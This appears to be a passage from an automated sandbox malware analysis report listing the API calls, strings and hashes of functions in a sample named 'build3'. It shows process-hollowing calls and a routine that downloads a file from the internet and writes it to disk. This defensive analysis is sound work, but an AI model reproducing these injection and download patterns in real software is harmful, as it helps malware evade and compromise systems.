WriteProcessMemory.KERNEL32(?,?,?,?,00000000,?,?,00000000), ref: 00D26231
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000,?,?,00000000), ref: 00D2626D
SetThreadContext.KERNEL32(?,00000000,?,?,00000000), ref: 00D26289
ResumeThread.KERNEL32(?,?,?,00000000), ref: 00D26295
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00D262A3

Strings

ntdll.dll, xrefs: 00D26199
NtUnmapViewOfSection, xrefs: 00D26194
, xrefs: 00D26178

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: Process$Memory$ThreadVirtualWrite$AllocContextModule$AddressCreateFileFreeHandleNameProcReadResume
String ID: $NtUnmapViewOfSection$ntdll.dll
API String ID: 4232606500-1522589568
Opcode ID: 9cdcf6ef1d0d12faab3ed8d71b74f3c66477bf3064f87ea4e6c7550aebd7d542
Instruction ID: 1f353cf1ce2c18bc1b8a0fdb8db0474c6299eefcf2691197dc3a66b400274851
Opcode Fuzzy Hash: 9cdcf6ef1d0d12faab3ed8d71b74f3c66477bf3064f87ea4e6c7550aebd7d542
Instruction Fuzzy Hash: 36514971A40318EFDB219F64DC45FEABBB8FF48705F100095B609EA290E771A990CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00D2A0F9 Relevance: 17.1, APIs: 11, Instructions: 642networkfileCOMMON

Download Yara Rule

APIs

SetCurrentDirectoryA.KERNEL32(00000000,7D7AE1DE,00000000), ref: 00D2A0FC
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,7D7AE1DE,00000000,?,00000001), ref: 00D2A69C
InternetOpenA.WININET(00D7815B,00000000,00000000,00000000,00000000), ref: 00D2A6B2
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 00D2A6D2
InternetReadFile.WININET(00000000,00000000,00004000,00004000), ref: 00D2A6E3
WriteFile.KERNEL32(?,00000000,00004000,00000000,00000000,?,00000001), ref: 00D2A705
InternetReadFile.WININET(00000000,00000000,00004000,00004000), ref: 00D2A710
CloseHandle.KERNEL32(?,?,00000001), ref: 00D2A722
InternetCloseHandle.WININET(?), ref: 00D2A731
InternetCloseHandle.WININET(00000000), ref: 00D2A734
RemoveDirectoryA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00000001), ref: 00D2A7ED

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: Internet$File$CloseHandle$DirectoryOpenRead$CreateCurrentRemoveWrite
String ID:
API String ID: 1504308605-0
Opcode ID: 3713d538bbda132e89ec43f6772ca2be90fa29326f41fb5597ba33d8e91c7bca
Instruction ID: 08562c54a0e6346688bf22bde2d6fe40f472559cc85aadc68b15ae8cd084804f
Opcode Fuzzy Hash: 3713d538bbda132e89ec43f6772ca2be90fa29326f41fb5597ba33d8e91c7bca
Instruction Fuzzy Hash: E6220571A002189BEF18DF6CEC85B9DBBB6EF55304F548118F805A72C2D7359A85CB72

Uniqueness

Uniqueness Score: -1.00%

Function 00D40F04 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00D41007
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00D41053

Part of subcall function 00D4274E: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 00D42841

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00D410BF
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00D410DB
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00D4112F
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00D4115C
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00D411B2

Strings

(, xrefs: 00D41013

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: 7cc078bd513bbd7e67e3e813069d117e4e9665757118e0d627c9da475326c442
Instruction ID: 7bf366b31b72466a19072590f158b8172933bb71cb8ec56fb4ce061eaed923de
Opcode Fuzzy Hash: 7cc078bd513bbd7e67e3e813069d117e4e9665757118e0d627c9da475326c442
Instruction Fuzzy Hash: 52B15C74A00616AFDB28CF68D981B7ABBB4FF54300F184169E945AB355D730BD81CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D416F3 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D42DED: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00D42E00

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 00D41705

Part of subcall function 00D42F00: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 00D42F2A
Part of subcall function 00D42F00: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 00D42F99

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 00D41837
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 00D41897
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 00D418A3
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 00D418DE
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 00D418FF
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 00D4190B
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 00D41914
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 00D4192C

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: 4765d67ca4e1db49b4a799d6eb24e1a944725868904d530fcb61092e7364fcf7
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: 9E814A75E00625EFCB18DFA8C584A6DB7F6FF48304B1946ADE459A7701C770AD82CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00D25370 Relevance: 10.8, APIs: 7, Instructions: 307COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b107e0dc3d9a2ecb2f94e1b8ffbe853b31db66fe0439f6fe1042a412c4c017e
Instruction ID: 9c82af02c8c483a787582282716d0d8aa38c27a3d0c5a46b03bcbaf7930237f8
Opcode Fuzzy Hash: 4b107e0dc3d9a2ecb2f94e1b8ffbe853b31db66fe0439f6fe1042a412c4c017e
Instruction Fuzzy Hash: 60B1E2B190021CEFDB24DF28DC85BEEBBB9EB44304F504169E90597285E7749A84CFB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D5DC0F Relevance: 9.2, APIs: 6, Instructions: 194fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000), ref: 00D5DCFF
_free.LIBCMT ref: 00D5DDCF
FindNextFileW.KERNEL32(00000000,?), ref: 00D5DDDD
_free.LIBCMT ref: 00D5DE2B
FindClose.KERNEL32(00000000), ref: 00D5DE3A
_free.LIBCMT ref: 00D5DE50

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: Find_free$File$CloseFirstNext
String ID:
API String ID: 1576393127-0
Opcode ID: b879d08340c3a85c75a9bfca901f74fc14bf70cf256b511454d167f57a5f009a
Instruction ID: c8f4a9d798791df1a190b7d7932bcb1e15ea57ba32a760dfed988beb698cc845
Opcode Fuzzy Hash: b879d08340c3a85c75a9bfca901f74fc14bf70cf256b511454d167f57a5f009a
Instruction Fuzzy Hash: 8361C6719052189FDF309F28DC89ABAB7B6EB09301F5841D9EC4997251DA314E89CF31

Uniqueness

Uniqueness Score: -1.00%

Function 00D4ED3B Relevance: 9.1, APIs: 6, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00D4ED74

Part of subcall function 00D49022: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00D49043

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00D4EDDA
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 00D4EDF2
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 00D4EDFF

Part of subcall function 00D4E8A2: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 00D4E8CA
Part of subcall function 00D4E8A2: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 00D4E962
Part of subcall function 00D4E8A2: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 00D4E96C
Part of subcall function 00D4E8A2: Concurrency::location::_Assign.LIBCMT ref: 00D4E9A0
Part of subcall function 00D4E8A2: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00D4E9A8

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: 0bdc0a6b5b01ddf072718f8ee2308196794d70396d2cb8f130d6da1e8a46e1bc
Instruction ID: 6ee8e36f764ca74040109483cadedc006b5a92de7366fa96dd5b25538cc84501
Opcode Fuzzy Hash: 0bdc0a6b5b01ddf072718f8ee2308196794d70396d2cb8f130d6da1e8a46e1bc
Instruction Fuzzy Hash: B9518D71A00215EBCF24DF50D895BAEBB76EF44310F1844A9AD467B392CB31AE05CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D272F0 Relevance: 6.2, APIs: 4, Instructions: 155libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(0000011C,?,7D7AE1DE), ref: 00D27369
GetModuleHandleA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00D273D0
GetProcAddress.KERNEL32(00000000), ref: 00D273D7

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProcVersion
String ID:
API String ID: 3310240892-0
Opcode ID: 4288f0470fd34cd4b95030aa997b1b4eb897adfc94986a897948d7b35ee1fc16
Instruction ID: 3987da2d49e12ea0eb95a4171519fcfc8218579e65bcf10ea6246e456a018277
Opcode Fuzzy Hash: 4288f0470fd34cd4b95030aa997b1b4eb897adfc94986a897948d7b35ee1fc16
Instruction Fuzzy Hash: EE513671D04228DBDB24EB28EC497EDBB75EB55314F504298E809A73C1EB349EC48BB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D56B6B Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 00D56C63
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 00D56C6D
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 00D56C7A

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: c43f445094e0e338fcc8823f963d923eec2a5ba872833063a181062fc34cee46
Instruction ID: 80553f077993f08628dc677a2cc5da4cc296b4e9dcc17a1ae2a6da0e549c9e3b
Opcode Fuzzy Hash: c43f445094e0e338fcc8823f963d923eec2a5ba872833063a181062fc34cee46
Instruction Fuzzy Hash: 9C31B3B49013289BCB21DF24D989B9DBBB4FF18310F5041EAE81CA7290E7709B858F65

Uniqueness

Uniqueness Score: -1.00%

Function 00D3DE96 Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00D3DEAC

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: dc706f9cdb2ca2b8e966327fd3678efc93661fe7077b5bcb36ddfacdc37fbca7
Instruction ID: c855174d41967d3b2d184773b86de3611114c43e301d76e421ae70a994f10779
Opcode Fuzzy Hash: dc706f9cdb2ca2b8e966327fd3678efc93661fe7077b5bcb36ddfacdc37fbca7
Instruction Fuzzy Hash: 10516BB19147068BDB19CF55E8C17AABBF6FB48311F28816AD415EB391D3B4A940CF60

Uniqueness

Uniqueness Score: -1.00%

Function 00D3CC87 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFlushProcessWriteBuffers.NTDLL ref: 00D3CC9A

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: BuffersFlushProcessWrite
String ID:
API String ID: 2982998374-0
Opcode ID: bb34dc8a98bcd0a6e4aa0703f682f837e558c688cafe5d6be18255fda1bf8348
Instruction ID: 9cf734d5f73ab4e1c80b3ec8a1ea0b74418d477f7be3adcb019eda626f258bfe
Opcode Fuzzy Hash: bb34dc8a98bcd0a6e4aa0703f682f837e558c688cafe5d6be18255fda1bf8348
Instruction Fuzzy Hash: 14B09232A23A308B8A112B14BC0899D7B589A45A6131A60569806E73688A101C814BE8

Uniqueness

Uniqueness Score: -1.00%

Function 00D3D11E Relevance: 22.8, APIs: 9, Strings: 4, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(00D85790,00000FA0,?,?,00D3D0FC), ref: 00D3D12A
GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,00D3D0FC), ref: 00D3D135
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00D3D0FC), ref: 00D3D146
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00D3D158
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00D3D166
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,00D3D0FC), ref: 00D3D189
___scrt_fastfail.LIBCMT ref: 00D3D19A
DeleteCriticalSection.KERNEL32(00D85790,00000007,?,?,00D3D0FC), ref: 00D3D1A5
CloseHandle.KERNEL32(00000000,?,?,00D3D0FC), ref: 00D3D1B5

Strings

kernel32.dll, xrefs: 00D3D141
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00D3D130
SleepConditionVariableCS, xrefs: 00D3D152
WakeAllConditionVariable, xrefs: 00D3D15E

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 3578986977-3242537097
Opcode ID: e0601aace09678eb76bda4fba31307452ff9c470257526156f37912069509b02
Instruction ID: 874a71e8b5482b5948ffd25785b722c29eeabd4e071c15c0eeb1af8e9c5033c0
Opcode Fuzzy Hash: e0601aace09678eb76bda4fba31307452ff9c470257526156f37912069509b02
Instruction Fuzzy Hash: D5019A35A40711EFD6222B75BC0EA6A7E6AEB45B51B488114FC0DD6394EAB08884CB70

Uniqueness

Uniqueness Score: -1.00%

Function 00D527C1 Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00D527D3

Part of subcall function 00D525D1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00D525F4

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00D527F4
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00D52801
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 00D5284F
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 00D528D6
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 00D528E9
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 00D52936

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: 4b65355374f1fdcc58b5677ebf1f8409d70b446d7dff698bdc3af54a05bd1de0
Instruction ID: 1686c16796d23dae3f0881c8d96ccce548a02c31ab39dc513cfeeadac5cd33dd
Opcode Fuzzy Hash: 4b65355374f1fdcc58b5677ebf1f8409d70b446d7dff698bdc3af54a05bd1de0
Instruction Fuzzy Hash: 7481AD34900249ABDF169F94C991BBE7F71EF56345F084098EC416B292C7328D5EDBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D445CF Relevance: 21.2, APIs: 14, Instructions: 189timeregistryCOMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00D44629

Part of subcall function 00D4440A: InitializeSListHead.KERNEL32(?,?,00000000,?,?), ref: 00D444D6
Part of subcall function 00D4440A: InitializeSListHead.KERNEL32(?), ref: 00D444E0

ListArray.LIBCONCRT ref: 00D4465D
Hash.LIBCMT ref: 00D446C6
Hash.LIBCMT ref: 00D446D6
InitializeSListHead.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00001001), ref: 00D4476B
InitializeSListHead.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00001001), ref: 00D44778
InitializeSListHead.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00001001), ref: 00D44785
InitializeSListHead.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00001001), ref: 00D44792

Part of subcall function 00D49D34: std::bad_exception::bad_exception.LIBCMT ref: 00D49D56

RegisterWaitForSingleObject.KERNEL32(?,00000000,00D47B06,?,000000FF,00000000), ref: 00D4481A
Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 00D4483C
GetLastError.KERNEL32(00D4557C,?,?,00000000,?,?), ref: 00D4484E
Concurrency::details::platform::__CreateTimerQueueTimer.LIBCMT ref: 00D4486B

